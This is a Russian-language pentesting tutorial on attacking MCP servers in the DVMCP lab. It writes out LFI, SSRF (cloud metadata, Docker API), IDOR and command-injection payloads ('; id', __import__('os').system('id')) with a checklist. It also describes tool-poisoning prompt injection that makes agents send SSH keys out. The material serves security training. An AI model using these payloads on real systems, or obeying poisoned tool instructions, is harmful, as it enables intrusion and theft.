Методология MCPwn'а
Атаки на MCP-серверы: вводный практический разбор (DVMCP + MCP-Scanner)
Данный материал, представленный в данном материале, предназначен исключительно для:
- авторизованного тестирования;
- использования в учебных целях;
- работы в тестовых средах;
- применения в инфраструктуре, на которую у пользователя имеется прямое письменное заверенное разрешение.
Важно: применение описанных методик к любым системам, не находящимся в вашем законном распоряжении и не имеющих официального разрешения на проведение тестирования, является противоправным действием. Подобные действия могут повлечь за собой уголовную ответственность в соответствии с действующим законодательством.
Автор материала не несёт ответственности за:
- несанкционированное использование изложенных методов;
- противоправные действия, совершённые с применением описанной методологии;
- любой ущерб, причинённый в результате нелицензионного применения представленных сведений.
Введение
MCP (Model Context Protocol) — открытый протокол поверх HTTP и JSON-RPC, который позволяет LLM-агентам ходить к внешним сервисам и инструментам: файловым системам, базам данных, внутренним API, облакам. По сути, это «универсальный USB-C» для ИИ-приложений: модель остаётся «мозгом», а MCP-серверы становятся руками, которые выполняют реальные действия.
Проблема в том, что MCP начали внедрять быстрее, чем строить модель угроз. Исследование Knostic и проекта ModelContextProtocol-Security показало: в интернете обнаружено 1862 MCP-сервера, доступных через Shodan; все 119 вручную проверенных экземпляров выдавали список инструментов без какой-либо аутентификации.(PRWeb)
Дальше — хуже. Отчёты Kulkan Security и других команд показывают типичные ошибки: отсутствие проверки прав, небезопасные параметры URI, инструменты, запускающие команды ОС без фильтрации, и ресурсы, позволяющие читать файлы с диска.(Medium) По аналогии с классическими REST-API, MCP-серверы оказываются уязвимы к тем же классам атак:
- SSRF (Server-Side Request Forgery) — проксирование запросов во внутреннюю сеть через
resources/readили HTTP-инструменты; - LFI / path traversal — чтение локальных файлов через
file://-URI; - IDOR — доступ к чужим объектам по изменённым идентификаторам в URI;
- Command injection / RCE — запуск команд через небезопасные инструменты.
Параллельно появляются уже вполне серьёзные инциденты:
- Tool poisoning. Invariant Labs показали, как «безобидный» инструмент
add(a, b)может содержать скрытые инструкции (в тегах вида<IMPORTANT>), заставляющие агента вычитать SSH-ключи и конфиги IDE и отправлять их злоумышленнику.(Reddit) - OAuth / клиентские RCE. Veria Labs описали цепочку «злой MCP-сервер → некорректная обработка OAuth → запуск браузера через shell → RCE» в таких инструментах, как Claude Code и Gemini CLI.(Previously on Tech)
- Локальные dev-инструменты. Oligo Security и другие исследователи показали критическую RCE в Anthropic MCP Inspector (CVE-2025-49596): достаточно, чтобы разработчик открыл страницу с вредоносным JavaScript в браузере — и тот сможет отправить запрос к локальному MCP-proxy на
0.0.0.0:6277и выполнить команду на машине.(oligo.security)
На этом фоне становится очевидно: MCP — это не магия, а обычный сетевой интерфейс, который нужно тестировать так же жёстко, как REST-API или GraphQL.
В этой первой части мы разберём:
- как поднять уязвимый стенд на базе Damn Vulnerable MCP Server (DVMCP);
- как использовать MCP-Scanner для массового сбора MCP-эндпоинтов и их описаний;
- как вручную, через JSON-RPC и инструменты вроде Burp, проверять базовые уязвимости: SSRF, LFI, IDOR, command injection.
Вторая часть (отдельный материал) будет посвящена сложным цепочкам атак, prompt/tool poisoning и методикам защиты.
Подготовка стенда: Damn Vulnerable MCP Server (DVMCP)
Для практики удобно иметь преднамеренно уязвимый стенд — ровно ту же роль, что OWASP Juice Shop играет для веба. Для MCP эту роль выполняет проект Damn Vulnerable MCP Server (DVMCP). Это набор из 10 MCP-серверов с разными классами уязвимостей (prompt injection, утечка токенов, LFI, RCE, неправильный контроль доступа и т.п.).(SOCRadar® Cyber Intelligence Inc.)
git clone https://github.com/harishsg993010/damn-vulnerable-MCP-server.git cd damn-vulnerable-MCP-server docker build -t dvmcp . docker run -p 9001-9010:9001-9010 dvmcp
docker buildсобирает образdvmcp;docker runподнимает контейнер с MCP-серверами на портах9001–9010.
После запуска у вас на localhost будут доступны эндпоинты вида:
Каждый порт — отдельный «челлендж» с определённым типом бага. Автор проекта рекомендует Linux-среду с нормально настроенным Docker: так проще повторять эксперименты и смотреть логи сервера.
К этим MCP-серверам можно подключаться:
- любым совместимым клиентом (например, MCP Inspector — но помнить про его уязвимости и обновлять до последних версий);(oligo.security)
- напрямую через HTTP — отправляя JSON-RPC запросы из
curl, Burp Repeater, Postman и т.п.
Обзор MCP-Scanner: массовое обнаружение MCP-серверов
Если DVMCP нужен для локальной тренировки, то в реальной работе полезен инструмент, который поможет:
- найти MCP-серверы в интернете;
- убедиться, что они действительно говорят на MCP;
- собрать базовую информацию: список tools/resources/prompts и параметры.
Один из первых публичных инструментов такого рода — MCP-Scanner от Knostic.(GitHub)
- использует API Shodan для поиска потенциальных MCP-эндпоинтов (по портам, заголовкам и контенту);
- пробует выполнить базовый JSON-RPC handshake;
- для «живых» серверов вытаскивает список инструментов (
tools/list) и ресурсов (resources/list); - сохраняет результаты в удобных форматах для анализа.
git clone https://github.com/knostic/MCP-Scanner.git cd MCP-Scanner pip install -r requirements.txt # либо вручную: pip install shodan requests aiohttp python mcp_scanner.py --api-key YOUR_SHODAN_API_KEY
- использует встроенные фильтры Shodan;
- собирает ограниченное количество результатов на фильтр (например, по 50);
- по каждому кандидату пытается выполнить MCP-инициализацию и получить списки tools/resources.
На выходе создаётся директория вида mcp_scan_results_2025-XX-XX/ со следующими файлами:
verified_servers.json— подробная информация по каждому подтверждённому MCP-серверу: URL, успех handhshake, список инструментов, ресурсы, возможные проблемы;verified_servers.csv— то же в табличном виде, удобно грузить в Excel/BI;scan_summary.txt— краткий текстовый отчёт;- лог-файл работы (
mcp_discovery_*.log), полезен для разбора сбоев и ложных срабатываний.
В своём исследовании Knostic на основе этого сканера и вспомогательных скриптов обнаружили те самые 1862 открытых MCP-сервера и показали, что все проверенные экземпляры были неправильно сконфигурированы (нет авторизации, нет ограничения инструментов, утечки ресурсов).(PRWeb)
Для пентестера MCP-Scanner — это аналог httpx/nuclei для новой поверхности атаки: помогает быстро собрать карту уязвимых серверов и понять, куда тратить время на ручной анализ.
Базовые JSON-RPC запросы к MCP
MCP использует JSON-RPC 2.0, обёрнутый в HTTP (или другой транспорт — SSE, WebSocket, stdio). В простейшем случае мы имеем:
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/list",
"params": { ... }
}
Ниже — несколько типовых запросов, которые нужны для ручного тестирования.
Инициализация сессии (initialize)
curl -X POST http://localhost:9001/mcp \
-H "Content-Type: application/json" \
--data '{
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2025-06-18",
"capabilities": { "tools": {}, "resources": {}, "prompts": {} },
"clientInfo": { "name": "Tester", "version": "1.0" }
}
}'
В ответ сервер должен вернуть объект result с информацией о себе (версия, поддерживаемые возможности) и, как правило, заголовок MCP-Session-Id. Этот идентификатор нужно передавать в последующих запросах:
-H "MCP-Session-Id: <ID_из_ответа>"
Если последующие вызовы работают без инициализации или Session-Id, это уже сигнал к проверке авторизации.
Получение списка инструментов (tools/list)
curl -X POST http://localhost:9001/mcp \
-H "Content-Type: application/json" \
-H "MCP-Session-Id: <ID>" \
--data '{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/list",
"params": {}
}'
Сервер вернёт массив доступных инструментов: имя, описание, схема параметров (типы, обязательность, дефолты). Это основная точка входа для поиска опасных полей (cmd, path, uri, url, expression и т.п.).
Чтение ресурса (resources/read)
curl -X POST http://localhost:9001/mcp \
-H "Content-Type: application/json" \
-H "MCP-Session-Id: <ID>" \
--data '{
"jsonrpc": "2.0",
"id": 3,
"method": "resources/read",
"params": {
"uri": "file:///etc/passwd"
}
}'
Здесь мы просим сервер прочитать локальный файл /etc/passwd. Если в реализации нет фильтрации или ограничения допустимых URI, сервер может вернуть содержимое файла — это классическая LFI/path traversal, о которой уже предупреждают авторы спецификации и практических гайдов по MCP.(SOCRadar® Cyber Intelligence Inc.)
Те же запросы удобно отправлять через Burp Repeater:
- в заголовках —
Content-Type: application/jsonиMCP-Session-Id; - в теле — JSON-RPC, как в примерах выше.
Ручное тестирование MCP-серверов: основные уязвимости
1. IDOR (Insecure Direct Object Reference)
MCP-ресурсы часто адресуются по URI с идентификатором:
Если сервер не проверяет, соответствует ли запрашиваемый объект текущему пользователю/контексту, атакующий может заменить ID и получить доступ к чужим данным.
- Находим ресурсы с явными ID (через
resources/listили документацию). - Отправляем
resources/readс изменённым идентификатором:{ "jsonrpc": "2.0", "id": 10, "method": "resources/read", "params": { "uri": "resource://user/5678/data" } } - Сравниваем результат:
Такой же приём работает для инструментов (tools/call), которые принимают ID в параметрах.
2. SSRF (Server-Side Request Forgery)
Если ресурсы или инструменты позволяют читать произвольные URL, MCP-сервер превращается в прокси во внутреннюю сеть. Это критично, когда MCP расположен внутри корпоративного контура или за mTLS-шлюзами: запрос идёт из доверенной зоны.
{
"jsonrpc": "2.0",
"id": 20,
"method": "resources/read",
"params": {
"uri": "http://169.254.169.254/latest/meta-data/"
}
}
- Классика облачных атак: запрос к AWS Instance Metadata Service (IMDS).(tl;dr sec)
{
"jsonrpc": "2.0",
"id": 21,
"method": "resources/read",
"params": {
"uri": "http://127.0.0.1:2375/containers/json"
}
}
- Попытка достучаться до локального Docker-daemon API (
2375/tcp), если он открыт без TLS/аутентификации.
Если MCP-сервер находится за mTLS-шлюзом и использует клиентский сертификат для доступа к внутренним API, а вы можете управлять URI — вы, по сути, «садитесь» на уровень доверия этого сервиса. mTLS не ломается криптографически, но становится бессильным против легитимного запроса изнутри, сгенерированного через SSRF.
- в ответе видно содержимое внутренних API/метаданных;
- сервер отвечает отличающимися по структуре ошибками (утечка фрагментов HTML/JSON с внутренних сервисов).
3. LFI / Path Traversal
LFI для MCP — это частный случай опасной работы с file://-URI или путями.
{
"jsonrpc": "2.0",
"id": 30,
"method": "resources/read",
"params": {
"uri": "file:///etc/passwd"
}
}
{
"jsonrpc": "2.0",
"id": 31,
"method": "resources/read",
"params": {
"uri": "file://C:/Windows/win.ini"
}
}
- чтение «невинных» файлов (
/etc/hostname,win.ini); - попытки traversal:
file:///../../../../etc/passwd, специальные символы (..%2f..%2f).
Если сервер возвращает содержимое системных файлов, конфигов БД, kubeconfig, SSH-ключей и т.п. — это LFI с высоким риском.
4. Command Injection / RCE
По исследованиям Palo Alto, SOC Radar и других команд, значительная часть ошибок в MCP связана с небезопасными инструментами: они вызывают оболочку, интерпретатор или системные утилиты напрямую, подставляя аргументы из параметров запроса.(AIMultiple)
- инструменты с именами или описанием:
execute_command,run_shell,evaluate_expression,system,bash,powershellи т.п.; - параметры
cmd,command,expression,script,path.
{
"jsonrpc": "2.0",
"id": 40,
"method": "tools/call",
"params": {
"name": "evaluate_expression",
"arguments": {
"expression": "; ls /"
}
}
}
или более мягкий вариант (где ожидается арифметическая строка):
{
"jsonrpc": "2.0",
"id": 41,
"method": "tools/call",
"params": {
"name": "evaluate_expression",
"arguments": {
"expression": "__import__('os').system('id')"
}
}
}
- появляется ли в ответе вывод команды;
- меняется ли состояние сервера (создан файл, в логах новые строки и т.п.).
На DVMCP есть челленджи с ровно такой логикой: вместо безопасной обработки выражений используется прямой вызов eval() или командной оболочки — это даёт возможность привести пример RCE «в учебных условиях», не трогая боевые системы.
5. CORS, браузер и «тихий» доступ к MCP
Отдельный класс проблем — когда MCP-эндпоинт доступен из браузера:
- заголовки
Access-Control-Allow-Origin: *или доверие ко всем доменам; - отсутствие CSRF-защиты;
- экспонирование MCP Inspector / прокси на
0.0.0.0без токена.
Исследования Oligo Security и Qubit показали, что комбинация некорректных CORS/Origin-проверок, DNS rebinding и отсутствия аутентификации в MCP-прокси позволяет:
- заманить разработчика на страницу с вредоносным JavaScript;
- из браузера отправить запрос на
http://0.0.0.0:6277/sse?...&command=<payload>; - выполнить произвольную команду на машине жертвы, хотя сервис «вроде бы» слушает только localhost.(oligo.security)
- смотрим CORS-заголовки в ответах MCP;
- проверяем, не доступны ли dev-инструменты (inspector/proxy) снаружи;
- отрабатываем сценарий «страница из интернета → запрос на localhost».
Пример короткого отчёта по LFI на DVMCP
Цель: проверить, может ли MCP-сервер читать произвольные файлы.
curl -X POST \
http://localhost:9001/mcp \
-H "Content-Type: application/json" \
--data '{
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2025-06-18",
"capabilities": {},
"clientInfo": {
"name": "Tester",
"version": "1.0"
}
}
}'
В ответе получаем MCP-Session-Id.
Отправляем запрос на чтение /etc/passwd:
curl -X POST \
http://localhost:9001/mcp \
-H "Content-Type: application/json" \
-H "MCP-Session-Id: <ID>" \
--data '{
"jsonrpc": "2.0",
"id": 10,
"method": "resources/read",
"params": {
"uri": "file:///etc/passwd"
}
}'В поле result ответа видим содержимое /etc/passwd: список пользователей, их UID, домашние директории.
Вывод: сервер не ограничивает допустимые file://-URI и позволяет читать произвольные файлы. Уязвимость: LFI/path traversal. Риск: утечка конфигурации, пользователей, потенциально — секретов (ключей, паролей).
Чек-лист пентестера MCP (часть 1: базовый срез)
2. Инициализация и авторизация
- Отправить
initializeи сохранитьMCP-Session-Id. - Проверить поведение:
- работают ли запросы без
initialize? - работают ли запросы без
MCP-Session-Idили с поддельным значением? - Любой доступ к чувствительным операциям без корректной сессии — баг авторизации.
- Для всех полей, похожих на URI/URL:
- пробуем
http://169.254.169.254/...,http://127.0.0.1:...(аккуратно, без DoS); - пробуем
file:///etc/passwd,file://C:/Windows/win.ini, traversal-варианты. - Фиксируем случаи, когда содержимое реально читается или меняется тип ошибки.
- Ищем инструменты, вызывающие внешние команды.
- Пробуем минимальные payload’ы:
; id,&& whoami,| uname -a;- в «вычислителях» — злоупотребление
eval()или интерпретатором (__import__('os')...). - Смотрим на вывод и побочные эффекты.
6. IDOR и доступ к чужим данным
- Меняем ID в URI/параметрах на заведомо «чужие».
- Проверяем, возвращается ли другой объект без ошибок доступа.
- Анализируем заголовки:
- Ищем dev-панели/инспекторы, работающие через браузер.
- Оцениваем риск XSS/CSRF-цепочек по аналогии с кейсом MCP Inspector.
Заключение и материалы для чтения
MCP-сервер — это просто ещё один сетевой интерфейс между вашим приложением и внутренними ресурсами. Он даёт огромную гибкость ИИ-агентам, но одновременно открывает новые варианты старых атак: SSRF, LFI, RCE, утечку токенов и конфигов. Исследования Knostic, Kulkan Security, Invariant Labs, Veria Labs, Oligo Security и других команд уже показывают, что:
- сотни и тысячи MCP-серверов доступны в интернете без аутентификации;(PRWeb)
- ошибки в OAuth/CORS и dev-инструментах легко приводят к RCE на машинах разработчиков;(oligo.security)
- tool/prompt/schema poisoning позволяет незаметно вытащить ключи, конфиги и чувствительные документы из среды разработчика и из продакшена.(Reddit)
В этой первой части мы сосредоточились на базовых вещах: как поднять DVMCP, как использовать MCP-Scanner для разведки, как руками проверять SSRF/LFI/IDOR/RCE.
Во второй части логично перейти к более сложным сюжетам:
- tool/prompt/full-schema poisoning;
- цепочки атак через IDE и dev-инструменты;
- методики hardening и интеграция сканеров/политик (включая платформы уровня Tencent AI-Infra-Guard) в SDLC.
Для самостоятельного углубления сейчас стоит посмотреть:
- Knostic / ModelContextProtocol-Security: обзор открытых MCP-серверов и статистика по аутентификации.(PRWeb)
- Kulkan Security — “Assessing the Attack Surface of Remote MCP Servers”.(Medium)
- Invariant Labs — “MCP Security Notification: Tool Poisoning Attacks”.(Reddit)
- Veria Labs — “From MCP to Shell: How MCP Authentication Flaws Enable RCE in Claude Code, Gemini CLI, and More”.(Previously on Tech)
- Oligo Security / Qubit — материалы по RCE в Anthropic MCP Inspector (CVE-2025-49596, CVE-2025-58444).(oligo.security)
Этого достаточно, чтобы не относиться к MCP как к «чёрному ящику с ИИ-магией», а видеть в нём то, чем он реально является: мощный, но крайне чувствительный интерфейс между моделью и вашей инфраструктурой. Именно такие вещи исторически и ломают чаще всего.
Лев Прокопьев, эксперт по наступательной кибербезопасности
Материал подготовлен специально для сообщества AD_POHEQUE